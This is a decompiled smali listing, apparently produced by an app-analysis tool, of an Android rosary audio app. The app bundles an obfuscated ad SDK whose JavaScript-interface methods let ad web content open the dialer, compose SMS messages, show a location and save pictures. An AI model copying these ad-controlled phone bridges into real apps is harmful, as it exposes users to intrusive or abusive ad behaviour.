120cond_b2:
121iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
122iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
123aget v3, v3, v4
125invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
126move-result-object v3
128invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
129goto/16 :goto_d
130pswitch_c1: const/16 v3, 0x3f
131iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
132iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
133iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
135iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
137invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V
139invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V
140const/4 v0, 0x0
141goto_d2: const/16 v3, 0x30
142if-ge v0, v3, :cond_dc
144invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V
145add-int/lit8 v0, v0, 0x1
146goto/16 :goto_d2
147cond_dc:
148iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
149iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
150aget v3, v3, v4
152invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
153move-result-object v3
155invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
156goto/16 :goto_d
157pswitch_eb: iput v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
158iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
159iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
161iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
163invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V
165invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V
167iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
168iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
169aget v3, v3, v4
171invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
172move-result-object v3
174invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
175goto/16 :goto_d
Cross References
APIs
  • android.webkit.WebView.<init>
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.app.Activity.getWindow
  • android.view.Window.setFlags
  • com.vxjxu.jkhfn1870.AdView.isTestMode
  • com.vxjxu.jkhfn1870.AdView.getPlacementType
  • android.content.Context.getResources
  • android.content.res.Resources.getDisplayMetrics
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.initSettting
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.widget.FrameLayout$LayoutParams.<init>
  • com.vxjxu.jkhfn1870.MraidView.setLayoutParams
  • java.lang.Exception.printStackTrace
Strings
  • inline
  • Device Width:
  • , Device Height:
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "adView" # Lcom/vxjxu/jkhfn1870/AdView;
2.param p3, "adListener" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
3.param p4, "handler" # Landroid/os/Handler;
4.param p5, "animationDrawListener" # Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
5.annotation build Landroid/annotation/SuppressLint;
6value = {
7"InlinedApi"
8}
9.end annotation
10.prologue
12invoke-direct {p0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
13const/4 v3, 0x0
14iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z
15try_start_6: sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
16const/16 v4, 0xb
17if-lt v3, v4, :cond_25
19invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
20move-result-object v3
21instance-of v3, v3, Landroid/app/Activity;
22if-eqz v3, :cond_25
24invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
25move-result-object v3
26check-cast v3, Landroid/app/Activity;
28invoke-virtual {v3}, Landroid/app/Activity;->getWindow()Landroid/view/Window;
29move-result-object v3
30const/high16 v4, 0x1000000
31const/high16 v5, 0x1000000
33invoke-virtual {v3, v4, v5}, Landroid/view/Window;->setFlags(II)V
  • Data flow analysis:
    • flags: 16777216
    • mask: 16777216
34try_end_25: iput-object p5, p0, Lcom/vxjxu/jkhfn1870/MraidView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
35sput-object p0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView;
37iget-object v3, p2, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
38iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
39iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
40iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
41iput-object p4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
43iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
45invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getAd_url()Ljava/lang/String;
46move-result-object v3
47iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adUrl:Ljava/lang/String;
49invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode()Z
50move-result v3
51iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z
52new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
54invoke-direct {v3}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;-><init>()V
55iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
57invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/AdView;->getPlacementType()Ljava/lang/String;
58move-result-object v3
59iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String;
61invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
62move-result-object v3
64invoke-virtual {v3}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
65move-result-object v3
66iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
68iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
69iget v3, v3, Landroid/util/DisplayMetrics;->density:F
70iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
72iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String;
74const-string v4, "inline"
76invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: inline
77move-result v3
78if-eqz v3, :cond_f0
80iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
81iget v3, v3, Landroid/util/DisplayMetrics;->widthPixels:I
82iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I
84invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
85move-result-object v3
87invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->isTablet(Landroid/content/Context;)Z
88move-result v3
89if-eqz v3, :cond_eb
90const/16 v3, 0x5a
91iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I
92goto_7c: iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I
93int-to-float v3, v3
95invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
96move-result-object v4
98invoke-static {v3, v4}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F
99move-result v3
100float-to-int v3, v3
101iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->widthDp:I
102iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I
103int-to-float v3, v3
105invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
106move-result-object v4
108invoke-static {v3, v4}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F
109move-result v3
110float-to-int v3, v3
111iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->heightDp:I
112goto_98: new-instance v3, Ljava/lang/StringBuilder;
114invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
116const-string v4, "Device Width:"
118invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Device Width:
119move-result-object v3
120iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I
122invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
123move-result-object v3
125const-string v4, ", Device Height:"
127invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: , Device Height:
128move-result-object v3
129iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I
131invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
132move-result-object v3
134invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
135move-result-object v3
137invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
138new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
140invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
141iput-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
143invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->initSettting()V
145iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
147invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->getProperties()Ljava/lang/String;
148const/high16 v3, 0x42700000 # 60.0f
149iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
150mul-float/2addr v3, v4
151float-to-int v1, v3
153invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
154move-result-object v3
156invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->isTablet(Landroid/content/Context;)Z
157move-result v3
158if-eqz v3, :cond_e1
159const/high16 v3, 0x42b40000 # 90.0f
160iget v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
161mul-float/2addr v3, v4
162float-to-int v1, v3
163cond_e1: new-instance v2, Landroid/widget/FrameLayout$LayoutParams;
164const/4 v3, -0x1
166invoke-direct {v2, v3, v1}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
168invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
169return-void
170cond_eb: const/16 v3, 0x3c
171iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I
172goto/16 :goto_7c
173cond_f0:
174iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
175iget v3, v3, Landroid/util/DisplayMetrics;->widthPixels:I
176iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I
178iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
179iget v3, v3, Landroid/util/DisplayMetrics;->heightPixels:I
180iput v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I
181goto/16 :goto_7c
182catch_fd: move-exception v0
184invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
185goto/16 :goto_98
186catch_102: move-exception v3
187goto/16 :goto_25
APIs
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • java.lang.String.format
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.startActivity
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • geo:%f,%f
  • android.intent.action.VIEW
  • 79
  • AirplayMraid
  • Error occurred whlie displaying Location......:
  • showLoaction
  • Error occurred while showing location.
  • error
Position Instruction Meta Information
0.param p1, "latitude" # Ljava/lang/String;
1.param p2, "longitude" # Ljava/lang/String;
2.annotation runtime Landroid/webkit/JavascriptInterface;
3.end annotation
4.prologue
5const/4 v7, 0x1
6try_start_1:
7iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
9invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
10move-result-object v3
11if-eqz v3, :cond_12
13iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
15invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
16move-result-object v3
18invoke-interface {v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
19cond_12:
20sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
22const-string v4, "geo:%f,%f"
23const/4 v5, 0x2
24new-array v5, v5, [Ljava/lang/Object;
25const/4 v6, 0x0
26aput-object p1, v5, v6
27const/4 v6, 0x1
28aput-object p2, v5, v6
30invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
  • Data flow analysis:
    • p1: geo:%f,%f
31move-result-object v2
32new-instance v1, Landroid/content/Intent;
34const-string v3, "android.intent.action.VIEW"
36invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
37move-result-object v4
39invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
40const/high16 v3, 0x10000000
42invoke-virtual {v1, v3}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
43const/high16 v3, 0x800000
45invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
47iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
49invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
50move-result-object v3
52invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
54iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
56const-string v4, "79"
58invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 79
59try_end_48:
60iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
62invoke-virtual {v3, v7}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
63return-void
64catch_4e: move-exception v0
66const-string v3, "AirplayMraid"
67new-instance v4, Ljava/lang/StringBuilder;
69invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
71const-string v5, "Error occurred whlie displaying Location......: "
73invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error occurred whlie displaying Location......:
74move-result-object v4
76invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
77move-result-object v5
79invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
80move-result-object v4
82invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
83move-result-object v4
85invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
87iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
89const-string v4, "showLoaction"
91const-string v5, "Error occurred while showing location."
93invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: showLoaction
    • p1: Error occurred while showing location.
95iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
97const-string v4, "error"
99invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: error
100goto/16 :goto_48
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.app.Activity.startActivity
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • android.app.Activity.finish
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • android.content.ActivityNotFoundException.printStackTrace
Strings
  • tel:
  • android.intent.action.DIAL
  • DAU
  • DCC
  • DCM
  • 44
  • 24
Position Instruction Meta Information
0.param p1, "number" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
4try_start_0:
5iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
7invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
8new-instance v3, Ljava/lang/StringBuilder;
10invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
12const-string v4, "tel:"
14invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: tel:
15move-result-object v3
17invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
18move-result-object v3
20invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
21move-result-object v3
23invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
24move-result-object v2
25new-instance v1, Landroid/content/Intent;
27const-string v3, "android.intent.action.DIAL"
29invoke-direct {v1, v3, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.DIAL
30const/high16 v3, 0x10000000
32invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
34iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
36iget-object v3, v3, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
38invoke-virtual {v3, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
40invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
41move-result-object v3
43const-string v4, "DAU"
45invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
46move-result v3
47if-nez v3, :cond_53
49invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
50move-result-object v3
52const-string v4, "DCC"
54invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
55move-result v3
56if-nez v3, :cond_53
58invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
59move-result-object v3
61const-string v4, "DCM"
63invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
64move-result v3
65if-eqz v3, :cond_62
66cond_53:
67iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
69const-string v4, "44"
71invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 44
72goto_5a:
73iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
75iget-object v3, v3, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
77invoke-virtual {v3}, Landroid/app/Activity;->finish()V
78return-void
79try_start_62:
80iget-object v3, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
82const-string v4, "24"
84invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 24
85try_end_69: goto/16 :goto_5a
86catch_6a: move-exception v0
88invoke-virtual {v0}, Landroid/content/ActivityNotFoundException;->printStackTrace()V
89goto/16 :goto_5a
90catch_6f: move-exception v3
91goto/16 :goto_5a
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Intent.setType
  • android.content.Intent.putExtra
  • android.app.Activity.startActivity
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • android.app.Activity.finish
  • java.lang.Exception.printStackTrace
Strings
  • android.intent.action.VIEW
  • vnd.android-dir/mms-sms
  • address
  • sms_body
  • DAU
  • DCC
  • DCM
  • 44
  • 24
Position Instruction Meta Information
0.param p1, "number" # Ljava/lang/String;
1.param p2, "text" # Ljava/lang/String;
2.annotation runtime Landroid/webkit/JavascriptInterface;
3.end annotation
4.prologue
5try_start_0:
6iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
8invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
9new-instance v1, Landroid/content/Intent;
11const-string v2, "android.intent.action.VIEW"
13invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
14const/high16 v2, 0x10000000
16invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
18const-string v2, "vnd.android-dir/mms-sms"
20invoke-virtual {v1, v2}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: vnd.android-dir/mms-sms
22const-string v2, "address"
24invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: address
26const-string v2, "sms_body"
28invoke-virtual {v1, v2, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: sms_body
30iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
32iget-object v2, v2, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
34invoke-virtual {v2, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
36invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
37move-result-object v2
39const-string v3, "DAU"
41invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
42move-result v2
43if-nez v2, :cond_4b
45invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
46move-result-object v2
48const-string v3, "DCC"
50invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
51move-result v2
52if-nez v2, :cond_4b
54invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
55move-result-object v2
57const-string v3, "DCM"
59invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
60move-result v2
61if-eqz v2, :cond_53
62cond_4b:
63iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
65const-string v3, "44"
67invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 44
68goto_52: return-void
69cond_53:
70iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
72const-string v3, "24"
74invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 24
75try_end_5a: goto/16 :goto_52
76catch_5b: move-exception v0
78iget-object v2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
80iget-object v2, v2, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
82invoke-virtual {v2}, Landroid/app/Activity;->finish()V
84invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
85goto/16 :goto_52
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.app.AlertDialog$Builder.<init>
  • android.app.AlertDialog$Builder.setMessage
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.setOnCancelListener
  • android.app.AlertDialog$Builder.setCancelable
  • android.app.AlertDialog$Builder.show
Strings
  • storePicture
  • Image url is null.
  • File name is null.
  • Error occured while storing picture.
  • error
  • This image will be added in gallery. Please confirm ?
  • Yes
  • No
Position Instruction Meta Information
